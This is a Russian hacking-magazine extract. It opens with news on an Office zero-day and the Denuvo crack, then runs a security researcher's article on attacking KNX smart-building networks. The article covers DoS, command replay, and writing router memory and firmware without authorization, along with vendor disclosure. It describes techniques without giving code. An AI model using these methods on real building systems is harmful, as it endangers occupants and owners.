прог ноз  на  год  неуте шите лен:  к  кон цу  2017  года  ана лити ки  пла ниру ют  обна ружить
более 3,5 мил лиона вре доно сов для опе раци онной сис темы Google, тог да как в 2016 году их
количес тво рав нялось 3,25 мил лиона.

750 000 новых Android-вре доно сов

0DAY В MICROSOFT
OFFICE
Спе циалис ты ком паний McAfee и FireEye   о 0day‐уяз вимос ти в Mi‐
crosoft Office, которую еще в янва ре 2017 года взя ли на воору жение хакеры.
Баг  поз воля ет  зло умыш ленни ку  тай но  выпол нить  про изволь ный  код
на машине жер твы и дос тавить в сис тему мал варь. Сто ит отме тить, что ата ка
исполь зует OLE 2link и никак не свя зана с мак росами,  так что их отклю чение
не поможет.

со общи ли

По дан ным спе циалис тов,  с  помощью этой  уяз вимос ти на машины поль ‐
зовате лей  дос тавля лись  такие  вре доно сы,  как  Dridex,  WingBird,  Latentbot
и Godzilla.  Хуже  того:  если  рань ше  сооб щалось,  что  акти вация  опции Office
Protected  View  помога ет  спра вить ся  с  проб лемой,  поз же  спе циалист  ком ‐
пании  Optiv  Рай ан  Хен сон  (Ryan  Hanson),  который  пер вым  обна ружил  баг,
опро верг дан ную информа цию.

В рам ках апрель ско го «втор ника обновле ний» раз работ чики Microsoft 
, прис воив ей иден тифика тор CVE‐2017‐0199. И лишь пос ле

выхода  пат ча  спе циалис ты  FireEye  сооб щили  еще  более  инте рес ные  под ‐
робнос ти об уяз вимос ти.

ус ‐
тра нили проб лему

Ока залось, что   не толь ко обыч ные мошен ники,
но и «пра витель ствен ные хакеры»,  чьи ата ки были нап равле ны про тив неиз ‐
вес тных  целей  в  Рос сии.  Зло умыш ленни ки  рас простра няли  шпи онское
ПО  Finspy  (FinFisher),  соз данное  ком пани ей  Gamma  Group.  Эта  ком пания
извес тна  тем,  что  раз рабаты вает  решения,  которые  исполь зуют ся  пра воох ‐
ранитель ными орга нами как минимум двад цати пяти стран мира для скры того
наб людения за прес тупни ками и подоз рева емы ми.

проб лему экс плу ати рова ли

Опе рация  неиз вес тных  «пра витель ствен ных  хакеров»  шла  рука  об  руку
с  обыч ной  кри миналь ной  активностью,  и  вре доно сы  Finspy  и  Latentbot
исполь зовали один и тот же бил дер. Это поз воля ет пред положить, что груп ‐
пиров ки получи ли экс пло ит для 0day‐уяз вимос ти из одно го и того же источни ‐
ка.  Судя  по  все му,  экс пло ит  одновре мен но  про давал ся  на  чер ном  рын ке
и кли ентам Gamma Group.

 →  исполь зуют ОС Android. Ком пания Google подели лась инте рес ной
ста тис тикой. Сооб щает ся, что накану не мероп риятия Google I/O опе раци онная сис тема Android
пре одо лела  отметку  в  2 мил лиар да  поль зовате лей  (то  есть  еже месяч но  активных  устрой ств).
Более  чем  мил лиар дом  поль зовате лей  так же  могут  пох вастать ся  и  дру гие  сер висы  Google:
Gmail, Drive, YouTube, Chrome, Maps и Play Store. К сло ву о пос леднем, офи циаль ный каталог
при ложе ний про дол жает раз вивать ся: так, в 2016 году поль зовате ли заг рузили из Google Play
Store 82 мил лиар да при ложе ний (про тив 65 мил лиар дов в 2015 году).

2 000 000 000 человек

DENUVO СНОВА
КРЯКНУЛИ
Сов сем недав но, в фев рале 2017 года, пред ста вите ли ком пании Denuvo Soft‐
ware  Solutions  GmbH  уже  были  вынуж дены    свой  DRM‐про дукт,
пос ле  того  как  груп па  кря керов CONSPIR 4CY  (CPY)  сумела  вскрыть  защиту
игры Resident Evil  7: Biohazard менее  чем  через неделю пос ле релиза игры.
Тог да груп па выложи ла в сеть 23‐гигабай тный дамп, который рас простра нил ‐
ся по пират ским сай там со ско ростью лес ного пожара.

оп равды вать

Те перь, спус тя все го пару месяцев, кря керы сумели обой ти новую вер сию
Anti‐Tamper,  извес тную  как  Denuvo  v4.  Чет вертая  вер сия  защища ла,  к  при ‐
меру, Mass Effect Andromeda, и в ито ге DRM взло мали менее чем за месяц.
Одна ко чле ны груп пы CPY силь нее обра дова лись не это му.

Бла года ря  успешно му  обхо ду  защиты  Denuvo  v4  груп пиров ка  сумела
реали зовать  кряк  куда менее  извес тно го  про екта — игры  2Dark,  соз данной
раз работ чиками  Alone  in  the  Dark.  Дело  в  том,  что  еще  в  2014  году  соз ‐
датели 2Dark собира ли средс тва для раз работ ки пос редс твом кра удфандин ‐
га,  и  потен циаль ных  жер тво вате лей  очень  инте ресо вал  воп рос,  будет  ли
в  игре  реали зова на  какая‐то DRM‐защита.  Тог да  раз работ чики  пообе щали,
что  никакой  защиты,  конеч но  же,  не  будет,  одна ко  на  деле  выш ло  ина че.
В  ито ге  игра была осна щена  защитой Denuvo  v4,  на  которой  нас тоял  изда ‐
тель, что выз вало боль шое недоволь ство сооб щес тва. Теперь, пос ле взло ма,
разоча рован ные гей меры могут почувс тво вать себя отмщен ными.

Взлом чет вертой вер сии защиты так же озна чает, что вско ре могут «пасть»
и такие релизы, как Nier Automata, Dead Rising 4 и Bulletstorm: Full Clip Edition.

https://xakep.ru/2017/04/06/no-unity-for-ubuntu/
https://support.microsoft.com/en-us/help/11675/windows-7-windows-8-1-skylake-systems-supported
https://xakep.ru/2017/04/14/too-old-for-upds/
https://xakep.ru/2017/04/19/cpu-check-bypass/
https://xakep.ru/2016/08/16/equation-group-files/
https://xakep.ru/2017/01/13/shadow-brokers-farewell/
https://xakep.ru/2017/04/10/the-shadow-brokers-pass/
https://xakep.ru/2017/04/14/new-the-shadow-brokers-dump/
https://xakep.ru/2017/04/17/the-shadow-brokers-patches/
https://xakep.ru/2017/04/10/emergency-sirens-hack/
https://xakep.ru/2017/04/14/dtmf-dallas-hack/
https://xakep.ru/2017/04/10/ole2link-0day/
https://xakep.ru/2017/04/12/april-patch-tuesday/
https://xakep.ru/2017/04/13/finspy-word-zero-day/
https://xakep.ru/2017/02/02/denuvo-about-re7/
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ВТОРГАЕМСЯ В СЕТЬ, УПРАВЛЯЕМ УЗЛАМИ,
DOS’ИМ И ПРОНИКАЕМ В ТАЙНИКИ

Егор Литвинов

COVERSTORY

В   мы рас ска зали тебе про устрой ство BMS
и  хорошень ко  рас палили  твое  вооб ражение  будущи ми
хакер ски ми экспе римен тами. И вот их час про бил! Готовь ся,
дру жище! Перед тобой статья раз мером аж в шесть стра ниц
ста рого  бумаж ного  «Хакера». И  все  они  пос вящены  исклю ‐
читель но взло му ;).

прош лой статье

INFO

Боль шое  спа сибо  всем моим  кол легам,  а  в  осо ‐
бен ности  Мак симу  Малюти ну  ( ),
Роману  Бажину  ( ),  Алек сею  Кузь мен ко
( )  и  Евге нию  Рас ска зову  ( )
из  .  Так же  выражаю  свой  рес пект
ребятам  из  ,  которые  не  побо ‐
ялись  пре дос тавить  для  наших  опы тов  дей ству ‐
ющий объ ект на KNX :).

@neurojesus
@nezlooy

@alekum @TheJokiv
Digital  Security

Domus  Sapiens

УСТРОЙСТВО СЕТИ
Пе ред тем как начать охо ту на ста до газелей, любой порядоч ный лев дол жен
опре делить ся —  а  сколь ко  же  там  осо бей?  Хва тит  ли  их,  что бы  накор мить
целый прайд? :) Как видишь:

Чис ло   узлов в сети KNX может дос тигать 65 535. Поверь, это мно го,
тем более что под узлом может под разуме вать ся как  ,
так  и  пол ноцен ный  ,  который  «рулит  ком фортом»  в  целом  номере
оте ля.

га зелей
прос той вык лючатель

MCU/PLC

Как вид но из рисун ка, в ста де у нас царит  . На одной
шине  (sub‐line)  может  находить ся  до  255  узлов,  на  одной  линии  (mainline)
может  быть  до  15  шин  (sub‐line).  Одна  зона  (area)  вклю чает  в  себя
до  15  линий  (mainline).  Все го  может  быть  15  зон  (area).  Такое  раз деление
поз воля ет неп лохо раз бивать как на логичес кие (управля ем све том), так и на
физичес кие груп пы (сис тема авто мати ки отве чает за кон крет ный этаж). Нап ‐
рашива ется зна комая всем фра за «раз деляй и влас твуй». Ведь все это мно ‐
гооб разие  (

) мож но сло мать  .

шин ная тополо гия

в  этот  момент  автор  поп росил  вклю чить  «злоб ный  смех  за  кад ‐
ром». — Прим. ред. бук валь но парой команд

Мир KNX рас ширя ется
Уп равле ние спор тивным, наруж ным и  внут ренним осве щени ем на 

  теперь  .  Он  же  будет  при менять ся
в стро ящем ся   в Санкт‐Петер бурге.

ста дионе

«Луж ники» ре али зова но  с  помощью KNX
не бос кре бе «Лах та центр»

Ста дион «Луж ники»

Для  начала  пос мотрим,  что  собой  пред став ляет  фор мат  сооб щений/телег ‐
рамм по шине KNX‐TP. Вот так выг лядит общий фор мат сооб щения в KNX.

Те перь прой дусь по каж дому полю и добав лю пару ком мента риев.

## Control byte/Control Field

От веча ет за то, будет ли дан ное сооб щение сис темным или нет. Если обыч ‐
ное, то будет ука зан его при ори тет.

## Source address

Вот так оно выг лядит, деталь ные ком мента рии тут, думаю, излишни.

## Receiver address

Вот  так  уже  выг лядит  фор мат  адре са  получа теля.  Та  или  иная  реали зация
зависит  от  того,  что  решил  интегра тор,  ког да  уста нав ливал  сис тему.  И  как

видим, 16 бит опре деля ют/под твержда ют то, что емкость сети рав на 2  :).16

Кста ти,  очень  хочет ся  ска зать  «спа сибо»  докумен тации —  тому,  что  она
есть  и  что  ее мно го.  Навер ное,  ты  спро сишь,  почему  сло во  спа сибо  я  зак ‐
лючил в кавыч ки и почему заос трил на нем вни мание? А пос мотри‐ка на это
изоб ражение:

В одном мес те докумен тация нам говорит, что receiver address сле дует трак ‐
товать как груп повой, если некий бит  , а парой стра ниц ниже идет уже
обратная информа ция — что receiver address нуж но трак товать как груп повой,
ког да  .

DAF = 1

DAF = 0
А  вот  даль ше  поля  уже  пой дут  инте рес нее  и  трак товать ся  они  будут

в зависи мос ти от того, что записа но в пред шес тву ющих битиках.

## NPCI

Этот  байт  отве чает  за  дли ну  дан ных,  переда ваемых  по  KNX‐TP.  Увы,  не  так
мно го — мак симум мы можем передать до 15 байт полез ной наг рузки. Поле
Routing  counter  отве чает  за  количес тво  «прыж ков/перехо дов»  через  шлю зы
и gateway. Тем самым реали зова на борь ба про тив зацик ливания сооб щений
и  broadcast‐штор мов.  Идея  хорошая  и  здра вая.  Но  иног да  мож но  не  обра ‐
щать вни мания на это поле, сме ло ста вить зна чение в 0, и все будет работать
как  надо  :). Об  этом  чуть  поз же.  Ну  и  стар ший  бит,  о  котором  уже  нем ного
упо мина ли, —  бит  DAF,  отве чающий  за  то,  как  трак товать  поле  receiver  ad‐
dress — как груп повой адрес или как инди виду аль ный.

## TPCI/APCI

По ле  TPCI  про ясня ет  воп рос,    ли  это  или  .
Sequence  number  в  допол нение  к  TCPI,  если  у  нас  диалог  меж ду  узла ми
не огра ничи вает ся одной телег раммой, а надо нес коль ко телег рамм. Уга дай,
из  какого  количес тва  телег рамм  может  сос тоять  «диалог»  меж ду  узла ми?
Если  ты  подумал,  что  мак симум  может  быть  16  фрей мов,  то  нет.  Их  может
быть сколь ко угод но, прос то ког да зна чение sequence number дой дет до 15,
сле дующее зна чение будет рав но 0 и все пой дет сна чала, инкре мен тиру ясь
до 15.

дан ные слу жеб ная  информа ция

И на десерт — поле APCI. Вот оно‐то как раз зачас тую и опре деля ет смыс ‐
ловую  наг рузку  сооб щений.  Разуме ется,  сущес тву ют  опре делен ные  коды
для того или ино го сооб щения:

Как  мож но  заметить,  меня  сра зу  заин тересо вали  сле дующие  коман ды:
MemoryRead, MemoryWrite, UserMessage. Еще одна забав ная коман да Escape
рас ширя ет APCI кода на еще некото рое количес тво допол нитель ных команд.

Вот  так, шаг  за шагом и поле  за полем, разоб рали фрейм KNX,  который
переда ется по KNX‐TP (для тех, кто забыл, что это такое, — все го лишь пара
про водов,  которые  под ходят  к  узлу,  его  запиты вают  и  слу жат  для  переда чи
дан ных). Нем ного тер пения, дорогой читатель, ибо хочу еще нес коль ко слов
ска зать о том, во что обо рачи вает ся телег рамма KNX‐TP, ког да она попада ет
через шлюз в Ethernet.

Ког да  KNX‐TP  попада ет  в  Ethernet,  эта  телег рамма  переда ется  по  UDP
с помощью cEMI message. Вот как выг лядит фрейм KNX в Ethernet‐сети:

А вот как выг лядит cEMI message:

По чему  тут пос тавил вос кли цатель ный знак и обвел одно поле? Пом нишь, я
говорил,  что иног да мож но не обра щать вни мания на  routing counter  в поле
NPCI? Это как раз тот слу чай: у нас вкли нилось еще одно поле control field 2,
которое и опре деля ет  количес тво hop’ов, и  у  нас идет  груп повое или инди ‐
виду аль ное  сооб щение.  Но  это  при мени мо,  толь ко  если  ты  обща ешь ся
с KNX‐сетью с помощью IP‐роуте ра.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.
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https://twitter.com/alekum
https://twitter.com/TheJokiv
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ЛОМАЕМ
УМНЫЕ
ЗДАНИЯ

ВТОРГАЕМСЯ В СЕТЬ, УПРАВЛЯЕМ УЗЛАМИ,
DOS’ИМ И ПРОНИКАЕМ В ТАЙНИКИ

COVERSTORY  НАЧАЛО СТАТЬИ←

ЧТО ЛОМАЕМ?
В    мы  решили  ломать  в  пер вую  оче редь  IP‐роуте ры.  Наде ‐
юсь, сле дующая кар тинка пояс нит наш выбор.
на шей ком пании

На этой кар тинке пред став лен типовой кусок KNX‐сети. Име ются раз личные
дат чики  (sensors)  и  акту ато ры  (actuators,  исполни тель ные  механиз мы).  Все
это сидит на шине, которая через Line Couple и/или IP‐роутер может объ еди ‐
нять ся в mainline, которая, в свою оче редь, под клю чена к Ethernet. К Ethernet
уже могут быть под клю чены раз личные инже нер ные сис темы, завяз ка на кор ‐
поратив ную сеть, ну и далее, наде юсь, читатель, ты понима ешь, к чему я кло ‐
ню.  При чем  изна чаль но  выбираю  very  hard  level,  ког да  рас смат риваю  сце ‐
нарий «заселил ся в отель, рас ковырял вык лючатель и под клю чил ся к KNX‐TP».

ДЕЛАЕМ ТЕСТОВЫЙ СТЕНД
Что бы сде лать про ект на KNX, надо пот ратить пару тысяч дол ларов для покуп ‐
ки  соф та  .  Далее,  при ехав  на  объ ект,  перед  тем  как  кон фигури ровать
узел, нуж но вклю чить режим прог рамми рова ния это го узла.

ETS 5

Для  это го  надо  нажать малень кую  кно поч ку  на  самой желез ке —  загорит ся
лам почка, озна чающая, что узел мож но кон фигури ровать. Да‐да, ты не ошиб ‐
ся:  нажать  кноп ку  на  желез ке.  А  для  это го  может  понадо бить ся  сбе гать
на  чер дак  сосед него  зда ния,  где  желез ка  уста нов лена  :).  Ну  и  пос ле  этой
неболь шой раз минки, как истинный интегра тор, сесть за ноут, запус тить ETS
и про извести кон фигура цию узла, что бы у нас пол ноцен но зарабо тала BMS.
В  нашем  же  слу чае  мы  нем ного  «упрости ли  задачу»  и  соб рали  малень кую
сеточ ку у себя в офи се.

Итак, у нас име ется IP‐роутер Gira, который под клю чен через Ethernet к ETS 5.
Smart button — кно поч ка, то есть sensor, и dimmer, то есть actuator. Ну и еще
дру гой  IP‐роутер, который исполь зует ся для сце нария «под клю чились к вык ‐
лючате лю, хака ем BMS».

Во обще говоря, ког да начина ешь делать research того, что еще мало изу ‐
чено,  у  тебя может  не  ока зать ся  необ ходимо го  инс тру мен та.  Так  слу чилось
и с нами. Прос той при мер — у нас не было  , что бы под ‐
клю чить ся нап рямую в линию KNX‐TP, для это го исполь зовали IP‐роутер. А как
смот реть  тра фик  в  Ethernet?  Слы шу‐слы шу  нес трой ный  хор  голосов,  скан ‐
диру ющих: Wireshark! :) Vox populi не обма ныва ет, но на тот момент Wireshark
не знал, что такое  . Он прос то показы вал
кучу бинар щины, которая переда ется в UDP. И выг лядело это как‐то так:

тран сивера KNX-TP

KNXnet/IP, KNX-TP, cEMI message

По это му  была  написа на  прос тень кая  ути лит ка,  которая  всю  эту  бинар щину
раз бирала  по  полям  и  выдава ла  ком мента рии/пояс нения,  помога ющие
понять data flow. Теперь это ста ло выг лядеть при лич нее:

Сле дующая вещь, которую тоже приш лось писать, —  .
Ибо  та  же  ETS 5,  что  сто ит  кучу  бак сов,  даже  на  прос том  сег менте
из  трех‐пяти  устрой ств  не  всег да  мог ла  отоб разить  все  пять  устрой ств,
которые есть на линии. Глюк, видимо, свя зан с тем, что, ког да в ETS 5 нажима ‐
ешь  кноп ку  «ска ниро вание  линии»,  она  тупо шлет  255  зап росов  с  наимень ‐
шим при ори тетом по адре сам x.y.0 — x.y.255 и потом пыта ется пой мать отве ‐
ты от устрой ств. Поэто му в сво ей ути лите при поис ке устрой ств я под нял при ‐
ори тет зап росов на более высокий и пошел по прин ципу: «пин ганули устрой ‐
ство,  подож дали  чуть‐чуть ответ».  Если отве та  нет,  зна чит,  нет  и  устрой ства
с этим адре сом на линии. Да, получа ется чуть доль ше, но зато гаран тирован ‐
но находит все устрой ства на линии.

по иск узлов на линии

Ре зуль тат неп лохой. Отска ниро вав линию, мож но понять, какие устрой ства
на ней есть. Помимо это го, устрой ства при сыла ют так называ емую mask ver‐
sion, сос тоящую из 2 байт:

И уже по этой mask version мож но при мер но понять, нас коль ко инте рес но нам
то или иное устрой ство, и спрог нозиро вать, по какому адре су находит ся  IP‐
роутер,  явля ется  ли  узел  «прос той  кноп кой»,  или  есть  подоз рение,  что
это  более  слож ный  узел  (соот ветс твен но,  име ющий  боль шую  вычис литель ‐
ную мощ ность).

DOS-АТАКА
Как толь ко мы поняли, как про исхо дит обще ние меж ду узла ми в сети KNX, мы
тут  же  захоте ли  что‐нибудь  задосить  :).  Пер вым  делом  мы  ата кова ли 

, но ока залось, что мож но положить и весь сег мент целиком. Вро де бы
не так страш но, но пред ставь себе вла дель ца оте ля, к которо му выс тро илась
оче редь  из  жиль цов,  жалу ющих ся,  что  нет  све та…  ну  или  ситу ацию,  ког да
пора вклю чать игро вое осве щение на ста дионе, а оно не вклю чает ся.

один

узел

По мимо  это го,  в  KNX  нет 
.  То  есть  если  ты  перех ватил  KNX‐телег рамму  (ну  нап ример,  так

получи лось,  что KNX «бега ет»  через пуб личный Wi‐Fi  в  гос тинице) и ее пов ‐
торно  отпра вил,  то  можешь  побало вать ся  и  пов клю чать/вык лючать  свет
в сосед нем номере  :). Нет, я не шучу —   в сво ей работе Learn
how to control every room at a luxury hotel remotely: the dangers of in secure home
automation deployment опи сыва ет этот сце нарий со сво им собс твен ным учас ‐
тием.

ме ханиз ма  защиты  от  дуб лирова ния  сооб -

щения

Jesus Molina

Кста ти,  пом нишь,  как   
 по кон тро лю дос тупа от ABB для гос тиниц? Что они пред лага ют:

в  пер вой  час ти  статьи я  обра щал  твое  вни мание
на решение

Здесь мы видим, что сис тема кон тро ля дос тупа  . И у
меня  воз ника ет  воп рос:  смо жем  ли  мы    в  сосед ний  номер,
отпра вив  нуж ную  коман ду  по  KNX‐TP?  Кон крет но  эта  проб лема  находит ся
за пре дела ми сегод няшне го иссле дова ния, но ско рее все го, смо жем!

за вяза на на шину KNX

от крыть  дверь

Итак, свет вык лючили, све том помор гали, две ри поот кры вали — пора дви ‐
гать ся даль ше, в сто рону похище ния кор поратив ных сек ретов. На пути к этой
тем ной  цели может  ока зать ся  (и  навер няка  ока жет ся)  тот  или  иной  роутер/
шлюз,  который  будет  обес печивать  сег менти рова ние  сети.  Кро ме  это го,
пред положим, что интегра тор нем ного раз бира ется в воп росах безопас ности
и сде лал сег менти рова ние сети, нас тро ил, какие KNX‐сооб щения могут про ‐
ходить  сквозь  шлюз,  а  какие  будут  отбра сывать ся,  что бы  не  засорять  лиш ‐
ними сооб щени ями mainline.

Тух ло, не так ли? Вов се нет :). Рас ходить ся по домам еще рано.
Пом нишь,  ког да  я  говорил  про  APCI‐коман ды,  меня  там  заин тересо вали

коман ды  MemoryRead,  MemoryWrite,  UserMessage?  Так  вот,  зная,  как  стро ‐
ятся  сооб щения  в  KNX‐сети,  я  решил  рас ширить  свою  ути лит ку  коман дой
«про читай‐ка память». И, наб людая попут но за data flow в KNX‐сети, заметил,
что перед тем, как общать ся с  тем или иным узлом, при меня ется еще авто ‐
риза ция.  Да  и  докумен тация  гла сила:  для  повыше ния  безопас ности  в  KNX
сто ит исполь зовать BCU‐ключ (дру гое наз вание key authorization). Ска зано —
сде лано, фэн шуй соб люден («как начинать общать ся с узлом»), и… я получаю
в ответ кусок бинар ных дан ных. Нем ного дорабо тав ути литу, я получил пол ный
дамп application memory в пре делах от   до  .0x0 0xFFFF

На кар тинке выше пред став лен дамп памяти одно го из  IP‐роуте ров. Раз гля ‐
дывая  всю  эту  бинар щину,  я  обна ружил,  что  мне  уда лось  про читать  кон фиг
роуте ра, который содер жит его IP‐адрес, мас ку под сети, шлюз, friendlyname.
Помимо  это го,  мож но  понять,  исполь зует ся  ли  «стан дар тный»  IP:port
(224.0.23.12:3671)  для  broadcast  или  какой‐то  кас томный.  И  самое  инте рес ‐
ное — мож но най ти «завет ные» бай ты (на кар тинке выше обве дены в крас ный
квад ратик),  которые отве чают  за  нас трой ки  «шлю зова ния»  телег рамм, —  то
есть 

.
мож но ли им даль ше идти в Ethernet, или роутер дол жен их отбро -

сить

О!  Уже  пол дела  сде лано.  Сроч но  дописы ваем  в  нашу  ути литу  коман ду
«писать память» :). Написа ли, запус тили, получи ли ответ «ОK» и с замира нием
сер дца тес тиру ем. Барабан ная дробь… нам 

 KNX‐сети. Прос то записав нес коль ко бай тов по нуж ному
адре су!  Даже  не  пот ребова лось  бежать  на  чер дак  вклю чать  режим  прог ‐
рамми рова ния  (который нужен во вре мя кон фигури рова ния сети). Все это я
тес тировал с роуте ром от ABB.

уда лось выб рать ся в Ethernet

и дру гие сег менты

Ок рылен ный  успе хом,  начинаю делать  все  то же  (сна чала  читать память)
с  IP‐роуте ром от Gira. И на пер вом же чте нии получаю ошиб ку и отсутс твие
какого‐либо дам па. Я в непонят ках. Как так… с ABB все прош ло на ура, тот же
скрипт, а Gira мол чит как пар тизан. Смот рю дамп тра фика, срав ниваю, про ‐
веряю  —  все  ана логич но  с  ABB,  но  резуль тата  нет.  Начинаю  срав нивать
по шагам, то есть по пакетам. И вижу, что maskversion при ходит, а вот ког да
отправ ляю зап рос с клю чом авто риза ции, Gira «руга ется, дует ся и оби жает ся»
и закан чива ет диалог. Непонят но — мы же чита ем память, а это уже дос таточ ‐
но кри тич ная опе рация.

По чему  Gira  не  «прог латыва ет»  клю чик  авто риза ции?  Со  сто роны 
мож но  спо кой но  кон фигури ровать  этот  роутер,  а  со  сто роны KNX‐TP  затык.
Что  за  ерун да,  что  не  так?  Решаю  перепи сать  скрипт,  убрать  авто риза цию.
Сво жу скрипт к диало гу «дай кусок памяти по такому‐то адре су» вмес то вся ‐
ких дол гих при ветс твий и реверан сов. И… при таком рас кла де Gira мне отве ‐
чает на зап рос и отда ет кусок памяти. Ана логич но упро щаю ути литу по записи
в память. Резуль тат положи тель ный. Записа но с пер вого раза без каких‐либо
проб лем.

ETS5

Воз можно,  я  чего‐то  не  понимаю  в  этом  мире.  Ты  толь ко  вду май ся: 

!

мы

можем  читать  и  писать  в  память  IP-роуте ра  без  вклю чения  режима

прог рамми рова ния и без клю ча авто риза ции

С треть им роуте ром, который у нас был (а это Siemens), ана логич ная ситу ‐
ация — чте ние и запись про ходят без проб лем. В резуль тате мы можем вый ти
на  дру гие  mainline  и  area  и  там  устро ить  все  те  же  самые  безоб разия
(управлять и досить).

Те перь  еще  неболь шая  вкус няшка.  Пом нишь  коман ду  UserMessage?
И  поле  length,  которое  говорит,  что  раз мер  макета  KNX‐TP  может  быть
не более 15 байт? Пом ня о  том,  как  вен доры соб люда ют стан дарты, решил
поп робовать отпра вить с помощью UserMessage боль ше чем 15 байт полез ‐
ной наг рузки. В общем, выяс нилось, что некото рые IP‐роуте ры могут про пус ‐
тить  в  одной  телег рамме  зна читель но  боль ше  бинар ных  дан ных.  Количес ‐
твен ная  харак терис тика  рав на  69  бай там.  То  есть  мы  можем  по  KNX‐TP
отпра вить  сооб щение  с  payload,  рав ным  69  (без  уче та  source  or  destination
address и про чих слу жеб ных полей) байт, и  IP‐роутер его прек расно рет ран ‐
сли рует в Ethernet. А если пош лем боль ше, то у Gira, по ходу, будет намечать ‐
ся перепол нение буфера, так как, помимо этих 69 байт, он отпра вит в Ethernet
еще пару десят ков байт в этом сооб щении.

Тут хочу сде лать одно неболь шое отступ ление. В ходе это го иссле дова ния
попада лись  роуте ры,  чувс тви тель ные  к  «пра виль ному»  Ethernet‐фрей му,
который равен 60 байт. Ибо некото рые пакеты получа лись рав ными 59 байт,
и роутер их не понимал. Не хва тало такой шту ки, как padding. (О том, что такое
padding,  .)мож но про читать, к при меру, тут

Как защитить ся и инте ресен ли кому‑нибудь баг репорт?
Те перь  пару  слов  про  BCU‐ключ  (key  authorization).  В  таком  замеча тель ном
докумен те,  как  Serial  Data  Transmission  and  KNX  Protocol  by  KNX  Association,
говорит ся: These services allow to write keys for the various access levels to bus
devices  with memory  access  protection  (16  levels  are  possible,  0  is  the  highest
level and 15 is the lowest).

О! Класс. Мож но пос тавить клю чик защиты и усложнить жизнь пло хим пар ‐
ням,  которые захотят поломать BMS. Ска зано — сде лано. Написан оче ред ‐
ной скрипт, который поз воля ет уста новить ключ авто риза ции. Хочу заметить,
что  штат ные  средс тва  ETS 5  это го  вооб ще  не  поз воля ют.  Даже  упо мина ния
нет.

Ре шил  про верить  это  на  IP‐роуте ре  от  ABB.  Пос тавил  новый  ключ  авто ‐
риза ции,  роутер  рапор тует,  что  ключ  сме нил ся.  Для  чис тоты  экспе римен та
перег ружаю  по  питанию.  И…  он  поз воля ет  про читать  и  записать  память
с  дефол тным  клю чом.  Пов торно  став лю  новый  ключ  авто риза ции,  получаю
под твержде ние,  что  ключ  уста нов лен.  Без  какой‐либо  перезаг рузки  про бую
про читать память со ста рым клю чом — сно ва уда ется.

Пи шу в пред ста витель ство ABB (как рус ское, так и евро пей ское), что есть
такой роутер, есть воз можность со сто роны TP поменять пол ностью весь кон ‐
фиг,  и  дан ный  роутер  не  поз воля ет  уста новить  BCU‐ключ.  На  что  получаю
ответ  от  рос сий ско го  пред ста витель ства:  мол,  «это  ста рая  желез ка,  ско ро
вый дет новая вер сия, исполь зуйте ее». Евро пей ское пред ста витель ство дало
более раз верну тый ответ:

«Спа сибо  за  инте рес  к  нашей  про дук ции.  Мы  понима ем  вашу
обес поко енность,  но  не  вол нуй тесь.  Так  как  стан дарт  не  обя -
зыва ет исполь зование BCU-клю ча, то мы пос читали, что реали -
зовы вать дан ную фун кци ональ ность будет лиш ним. Кро ме того,
поль зователь может пос читать это дос таточ ной мерой безопас -
ности  и  будет  вве ден  в  заб лужде ние. Да  и  вооб ще —  исполь -
зуйте безопас ные IP-сети».

При мер но таковы по смыс лу были отве ты.
Как  про межу точ ное  резюме — на  дан ный момент  име ется  воз можность,

под клю чив шись в любом мес те к KNX‐сети, устро ить DoS, управлять любыми
устрой ства ми, менять кон фигура цию любых узлов с помощью коман ды Write‐
Memory. При этом не всег да тре бует ся BCU‐ключ, нет необ ходимос ти вклю ‐
чать  «режим  прог рамми рова ния»,  да  и  IP‐роуте ры,  приз ванные  слу жить
для  раз гра ниче ния  тра фика,  как  показы вает  прак тика,  не  будут  силь ной
помехой.

«YOU NEED TO GO DEEPER»
Во  вре мя  иссле дова ния  я  натыкал ся  на  раз ные  докумен тации  к  роуте рам,
да  и  KNX‐сети  в  целом.  И  не  покида ло  меня  чувс тво,  что  есть  еще  что‐то
«вкус ное  да  инте рес ное».  Чувс тво  это  под креп лялось  тем,  что  встре чались
datasheet,  которые говори ли: «мол, не бой тесь окир пичить устрой ство, если
что — заль ете про шив ку через KNX‐TP и его вос ста нови те». Да еще на сто ле
лежит  IP‐шлюз  Jung,  который  не  работа ет  как  надо.  Пишу  в  сап порт  Jung
с  воп росом:  есть  IP‐шлюз,  в  ETS 5  видит ся,  кон фигурит ся,  но  вот  в  Ethernet
ничего  не  отправ ляет ся.  При ходит  ответ:  «А…  Так  это  извес тная  проб лема,
вот вам user guide, вот вам соф тина, вот вам про шив ка, обно вите, и все будет
пуч ком».

Ин терес но…  Решил  выпол нить  их  инс трук ции  —  вдруг  зарабо тает?
Да дамп обновле ния сох раню на  вся кий слу чай. Обно вил про шив ку  Jung —
работа ет  как  сле дует.  Смот рю  попут но  дамп  обновле ния  про шив ки,  нахожу
еще  инте рес ные  APCI‐коды:  ,  .
Заод но  под ворачи вает ся  ссыл ка  на  KNXmap  товари ща Niklaus’a,  где  встре ‐
чают ся эти же самые коды. Начина ют зак радывать ся подоз рения. Допили ваю
ути литу до воз можнос ти  read firmware. Запус каю коман ду «читать про шив ку»
для Jung, под клю чив шись к нему со сто роны KNX‐TP. Получаю кусок бинар ных
дан ных. Откры ваю про шив ку, которую толь ко что залили на этот шлюз. Бин го:
ока зыва ется, read firmware мне вер нула не прос то кусок бинаря, а часть про ‐
шив ки,  которая  кру тит ся  на  желез ке.  А  раз  мож но  читать  про шив ку,  зна чит,
таким же спо собом мож но ее и записать.

A_UserMemory_Read A_UserMemory_Write

По годи те секун дочку… я толь ко что ска зал «записать про шив ку»? Да, все
вер но.  Най ден  механизм,  как  мож но,  под клю чив шись  к  KNX‐шине  в  про ‐
изволь ном  мес те,  най ти  узел,  который  смот рит  в  Ethernet,  и  обно вить  его
про шив ку.  Мож но  обно вить  на  кас томную  про шив ку,  что бы  прос той  шлюз
прев ратить  во  что‐то  более  серь езное,  то  есть  проб росить  под клю чение
до тех нологи чес кой сети. Да, ско рость будет не осо бо высокая для дос тупа
к  этой  тех нологи чес кой сети,  но не  забыва ем,  что  это мы 

.  Усып лять  охра ну,  спи ливать  зам ки  и  лазить  по  пожар ным
лес тни цам не надо!

сде лали из пуб -

лично го  мес та

Как  и  вся кий  порядоч ный  вай тхет,  я  написал  в  пред ста витель ство  Jung
и  доложил:  «Ребята,  мож но  обно вить  про шив ку  со  сто роны  KNX‐TP,  ключ
